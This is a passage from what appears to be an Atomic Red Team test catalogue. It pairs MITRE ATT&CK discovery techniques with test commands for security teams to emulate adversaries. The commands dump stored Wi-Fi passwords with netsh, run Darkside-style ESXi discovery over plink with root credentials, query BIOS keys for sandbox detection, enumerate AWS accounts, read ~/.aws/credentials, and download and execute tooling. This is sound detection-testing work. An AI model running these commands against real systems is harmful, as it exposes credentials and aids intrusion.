    - name: BIOS Information Discovery through Registry
      auto_generated_guid: f2f91612-d904-49d7-87c2-6c165d23bead
      description: |
        Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments.  Upon execution, BIOS information will be displayed.
        - https://tria.ge/210111-eaz8mqhgh6/behavioral1
        - https://evasions.checkpoint.com/techniques/registry.html
      supported_platforms:
      - windows
      executor:
        command: |
          reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
          reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion
        name: command_prompt
    - name: ESXi - VM Discovery using ESXCLI
      auto_generated_guid: 2040405c-eea6-4c1c-aef3-c2acc430fac9
      description: |
        An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine.
        [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name or IP of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to Plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to file with discovery commands
          type: path
          default: PathToAtomicsFolder\T1082\src\esx_vmdiscovery.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
        elevation_required: false
    - name: ESXi - Darkside system information discovery
      auto_generated_guid: f89812e5-67d1-4f49-86fa-cbc6609ea86a
      description: |
        Darkside ransomware utilises various ESXCLI commands to obtain information about the ESXi Host.
        [Reference](https://www.trendmicro.com/en_ph/research/21/e/darkside-linux-vms-targeted.html)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name or IP of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to Plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to file containing darkside ransomware discovery commands
          type: path
          default: PathToAtomicsFolder\T1082\src\esx_darkside_discovery.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
        elevation_required: false
    - name: sysctl to gather macOS hardware info
      auto_generated_guid: c8d40da9-31bd-47da-a497-11ea55d1ef6c
      description: Gets the macOS hardware information, which can be used to determine
        whether the target macOS host is running on a physical or virtual machine.
        sysctl can be used to gather interesting macOS host data, including hardware
        information, memory size, logical cpu information, etc.
      supported_platforms:
      - macos
      executor:
        command: sysctl -n hw.model
        name: sh
        elevation_required: false
  T1016.002:
    technique:
      modified: '2023-10-05T11:35:30.887Z'
      name: 'System Network Configuration Discovery: Wi-Fi Discovery'
      description: |
        Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems. Adversaries may use Wi-Fi information as part of [Account Discovery](https://attack.mitre.org/techniques/T1087), [Remote System Discovery](https://attack.mitre.org/techniques/T1018), and other discovery or [Credential Access](https://attack.mitre.org/tactics/TA0006) activity to support both ongoing and future campaigns.

        Adversaries may collect various types of information about Wi-Fi networks from hosts. For example, on Windows names and passwords of all Wi-Fi networks a device has previously connected to may be available through `netsh wlan show profiles` to enumerate Wi-Fi names and then `netsh wlan show profile “Wi-Fi name” key=clear` to show a Wi-Fi network’s corresponding password.(Citation: BleepingComputer Agent Tesla steal wifi passwords)(Citation: Malware Bytes New AgentTesla variant steals WiFi credentials)(Citation: Check Point APT35 CharmPower January 2022) Additionally, names and other details of locally reachable Wi-Fi networks can be discovered using calls to `wlanAPI.dll` [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: Binary Defense Emotes Wi-Fi Spreader)

        On Linux, names and passwords of all Wi-Fi-networks a device has previously connected to may be available in files under ` /etc/NetworkManager/system-connections/`.(Citation: Wi-Fi Password of All Connected Networks in Windows/Linux) On macOS, the password of a known Wi-Fi may be identified with ` security find-generic-password -wa wifiname` (requires admin username/password).(Citation: Find Wi-Fi Password on Mac)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Christopher Peacock
      - Uriel Kosayev
      - Liran Ravich, CardinalOps
      - Alex Spivakovsky, Pentera
      x_mitre_deprecated: false
      x_mitre_detection: This type of attack technique cannot be easily mitigated
        with preventive controls since it is based on the abuse of system features.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06
      created: '2023-09-08T15:39:50.269Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1016/002
        external_id: T1016.002
      - source_name: Binary Defense Emotes Wi-Fi Spreader
        description: Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader.
          Retrieved September 8, 2023.
        url: https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/
      - source_name: Check Point APT35 CharmPower January 2022
        description: Check Point. (2022, January 11). APT35 exploits Log4j vulnerability
          to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.
        url: https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/
      - source_name: Wi-Fi Password of All Connected Networks in Windows/Linux
        description: Geeks for Geeks. (n.d.). Wi-Fi Password of All Connected Networks
          in Windows/Linux. Retrieved September 8, 2023.
        url: https://www.geeksforgeeks.org/wi-fi-password-connected-networks-windowslinux/
      - source_name: Malware Bytes New AgentTesla variant steals WiFi credentials
        description: Hossein Jazi. (2020, April 16). New AgentTesla variant steals
          WiFi credentials. Retrieved September 8, 2023.
        url: https://www.malwarebytes.com/blog/news/2020/04/new-agenttesla-variant-steals-wifi-credentials
      - source_name: Find Wi-Fi Password on Mac
        description: Ruslana Lishchuk. (2021, March 26). How to Find a Saved Wi-Fi
          Password on a Mac. Retrieved September 8, 2023.
        url: https://mackeeper.com/blog/find-wi-fi-password-on-mac/
      - source_name: BleepingComputer Agent Tesla steal wifi passwords
        description: Sergiu Gatlan. (2020, April 16). Hackers steal WiFi passwords
          using upgraded Agent Tesla malware. Retrieved September 8, 2023.
        url: https://www.bleepingcomputer.com/news/security/hackers-steal-wifi-passwords-using-upgraded-agent-tesla-malware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1016.002
    atomic_tests:
    - name: Enumerate Stored Wi-Fi Profiles And Passwords via netsh
      auto_generated_guid: 53cf1903-0fa7-4177-ab14-f358ae809eec
      description: Upon successful execution, information about previously connected
        Wi-Fi networks will be displayed with their corresponding key (if present).
      supported_platforms:
      - windows
      executor:
        command: netsh wlan show profile * key=clear
        name: command_prompt
        elevation_required: false
  T1010:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Application Window Discovery
      description: |-
        Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020)

        Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830
      created: '2017-05-31T21:30:24.512Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1010
        external_id: T1010
      - source_name: ESET Grandoreiro April 2020
        description: 'ESET. (2020, April 28). Grandoreiro: How engorged can an EXE
          get?. Retrieved November 13, 2020.'
        url: https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/
      - source_name: Prevailion DarkWatchman 2021
        description: 'Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A
          new evolution in fileless techniques. Retrieved January 10, 2022.'
        url: https://www.prevailion.com/darkwatchman-new-fileless-techniques/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1010
    atomic_tests:
    - name: List Process Main Windows - C# .NET
      auto_generated_guid: fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4
      description: |
        Compiles and executes C# code to list main window titles associated with each process.

        Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        input_source_code:
          description: Path to source of C# code
          type: path
          default: PathToAtomicsFolder\T1010\src\T1010.cs
        output_file_name:
          description: Name of output binary
          type: string
          default: "%TEMP%\\T1010.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1010.cs must exist on disk at specified location (#{input_source_code})

          '
        prereq_command: 'if (Test-Path "#{input_source_code}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{input_source_code}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile "#{input_source_code}"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} "#{input_source_code}"
          #{output_file_name}
        cleanup_command: 'del /f /q /s #{output_file_name} >nul 2>&1

          '
        name: command_prompt
  T1087.003:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470
      type: attack-pattern
      created: '2020-02-21T21:08:33.237Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1087.003
        url: https://attack.mitre.org/techniques/T1087/003
      - source_name: Microsoft Exchange Address Lists
        url: https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019
        description: Microsoft. (2020, February 7). Address lists in Exchange Server.
          Retrieved March 26, 2020.
      - source_name: Microsoft getglobaladdresslist
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
        description: Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6,
          2019.
      - description: Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper.
          Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/
        source_name: Black Hills Attacking Exchange MailSniper, 2016
      - source_name: Google Workspace Global Access List
        url: https://support.google.com/a/answer/166870?hl=en
        description: Google. (n.d.). Retrieved March 16, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Email Account
      description: |-
        Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)

        In on-premises Exchange and Exchange Online, the<code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

        In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1497.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jorge Orchilles, SCYTHE
      - Ruben Dodge, @shotgunner101
      - Jeff Felling, Red Canary
      - Deloitte Threat Library Team
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
      type: attack-pattern
      created: '2020-03-06T21:11:11.225Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1497.003
        url: https://attack.mitre.org/techniques/T1497/003
      - source_name: Deloitte Environment Awareness
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
      - source_name: Revil Independence Day
        url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
        description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses
          supply chain exploit to attack hundreds of businesses. Retrieved September
          30, 2021.'
      - source_name: Netskope Nitol
        url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique
        description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence
          with evasive sandbox analysis technique. Retrieved September 30, 2021.
      - source_name: Joe Sec Nymaim
        url: https://www.joesecurity.org/blog/3660886847485093803
        description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with
          API hammering. Retrieved September 30, 2021.
      - source_name: Joe Sec Trickbot
        url: https://www.joesecurity.org/blog/498839998833561473
        description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained.
          Retrieved September 30, 2021.
      - source_name: ISACA Malware Tricks
        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
      modified: '2022-05-11T14:00:00.188Z'
      name: Time Based Evasion
      description: |-
        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

        Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_detection: 'Time-based evasion will likely occur in the first steps
        of an operation but may also occur throughout as an adversary learns the environment.
        Data and events should not be viewed in isolation, but as part of a chain
        of behavior that could lead to other activities, such as lateral movement,
        based on the information obtained. Detecting actions related to virtualization
        and sandbox identification may be difficult depending on the adversary''s
        implementation and monitoring required. Monitoring for suspicious processes
        being spawned that gather a variety of system information or perform other
        forms of Discovery, especially in a short period of time, may aid in detection. '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Signature-based detection
      - Static File Analysis
      - Anti-virus
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1580:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Regina Elwell
      - Praetorian
      - Isif Ibrahima, Mandiant
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d
      created: '2020-08-20T17:51:25.671Z'
      x_mitre_version: '1.3'
      external_references:
      - source_name: mitre-attack
        external_id: T1580
        url: https://attack.mitre.org/techniques/T1580
      - source_name: Expel IO Evil in AWS
        url: https://expel.io/blog/finding-evil-in-aws/
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
      - source_name: AWS Head Bucket
        url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html
        description: Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February
          14, 2022.
      - source_name: AWS Get Public Access Block
        url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html
        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
      - source_name: AWS Describe DB Instances
        url: https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html
        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
      - source_name: Amazon Describe Instance
        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
        description: Amazon. (n.d.). describe-instance-information. Retrieved March
          3, 2020.
      - source_name: Amazon Describe Instances API
        url: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
        description: Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.
      - source_name: Google Compute Instances
        url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
        description: Google. (n.d.). gcloud compute instances list. Retrieved May
          26, 2020.
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: Microsoft AZ CLI
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
        description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
      - source_name: Malwarebytes OSINT Leaky Buckets - Hioureas
        url: https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/
        description: 'Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating
          leaky buckets into your OSINT workflow. Retrieved February 14, 2022.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.

        Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket’s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)

        An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Infrastructure Discovery
      x_mitre_detection: Establish centralized logging for the activity of cloud infrastructure
        components. Monitor logs for actions that could be taken to gather information
        about cloud infrastructure, including the use of discovery API calls by new
        or unexpected users and enumerations from unknown or malicious IP addresses.
        To reduce false positives, valid change management procedures could introduce
        a known identifier that is logged with the change (e.g., tag or header) if
        supported by the cloud provider, to help distinguish valid, expected actions
        from malicious ones.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Instance: Instance Enumeration'
      - 'Cloud Storage: Cloud Storage Enumeration'
      - 'Volume: Volume Enumeration'
      - 'Snapshot: Snapshot Enumeration'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1580
    atomic_tests:
    - name: AWS - EC2 Enumeration from Cloud Instance
      auto_generated_guid: 99ee161b-dcb1-4276-8ecb-7cfdcb207820
      description: 'This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets,
        iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails,
        ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors)
        from the context of an EC2 instance role. This simulates an attacker compromising
        an EC2 instance and running initial discovery commands on it. This atomic
        test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team).
        Stratus Red Team is a self-contained binary. You can use it to easily detonate
        offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/

        '
      supported_platforms:
      - linux
      - macos
      - iaas:aws
      input_arguments:
        stratus_path:
          description: Path of stratus binary
          type: path
          default: "$PathToAtomicsFolder/T1580/src"
        aws_region:
          description: AWS region to detonate
          type: string
          default: us-west-2
      dependency_executor_name: sh
      dependencies:
      - description: 'Stratus binary must be present at the (#{stratus_path}/stratus)

          '
        prereq_command: 'if test -f "#{stratus_path}/stratus"; then exit 0; else exit
          1; fi

          '
        get_prereq_command: "if [ \"$(uname)\" = \"Darwin\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep -i Darwin_x86_64 | cut -d '\"' -f 4);
          wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n
          \ tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nelif
          [ \"$(expr substr $(uname) 1 5)\" = \"Linux\" ]\nthen DOWNLOAD_URL=$(curl
          -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest
          | grep browser_download_url | grep -i linux_x86_64 | cut -d '\"' -f 4);
          wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL\n
          \ tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/\nfi
          \n"
      - description: 'Check if ~/.aws/credentials file has a default stanza is configured

          '
        prereq_command: 'cat ~/.aws/credentials | grep "default"

          '
        get_prereq_command: 'echo "Please install the aws-cli and configure your AWS
          default profile using: aws configure"

          '
      executor:
        command: |
          export AWS_REGION=#{aws_region}
          cd #{stratus_path}
          echo "Stratus: Start Warmup."
          ./stratus warmup aws.discovery.ec2-enumerate-from-instance
          echo "Stratus: Start Detonate."
          ./stratus detonate aws.discovery.ec2-enumerate-from-instance
        cleanup_command: |
          cd #{stratus_path}
          echo "Stratus: Start Cleanup."
          ./stratus cleanup aws.discovery.ec2-enumerate-from-instance
          echo "Removing Stratus artifacts from local machine."
          rm -rf stratus*
        name: sh
        elevation_required: false
    - name: AWS - EC2 Security Group Enumeration
      auto_generated_guid: 99b38f24-5acc-4aa3-85e5-b7f97a5d37ac
      description: Simulate an attacker's action to enumerate EC2 Security Groups
        in a compromised AWS environment.
      supported_platforms:
      - iaas:aws
      input_arguments:
        aws_profile:
          description: AWS CLI profile name
          type: string
          default: default
        output_format:
          description: Desired output format (text, table, json)
          type: string
          default: json
      executor:
        name: command_prompt
        command: 'aws ec2 describe-security-groups --profile #{aws_profile} --output
          #{output_format}

          '
      dependencies:
      - description: AWS CLI installed and configured with the necessary access rights.
        prereq_command: type aws || aws --version
        get_prereq_command: |
          if [ "$(uname)" = "Darwin" ] || [ "$(expr substr $(uname) 1 5)" = "Linux" ]; then
            curl "https://aws.amazon.com/cli/" -o "Install-AWSCLI.sh" && sh Install-AWSCLI.sh
          elif [ "$(expr substr $(uname) 1 5)" = "MINGW" ]; then
            Invoke-WebRequest -Uri "https://aws.amazon.com/cli/" -OutFile "Install-AWSCLI.ps1"; .\Install-AWSCLI.ps1
          fi
      - description: Check if AWS CLI is installed and configured.
        prereq_command: 'aws sts get-caller-identity --profile #{aws_profile}

          '
        get_prereq_command: |
          if ! aws sts get-caller-identity --profile #{aws_profile}; then
            echo "AWS CLI not properly configured. Please configure AWS CLI."
          fi
  T1217:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Browser Bookmark Discovery
      description: |-
        Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)

        Browser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.

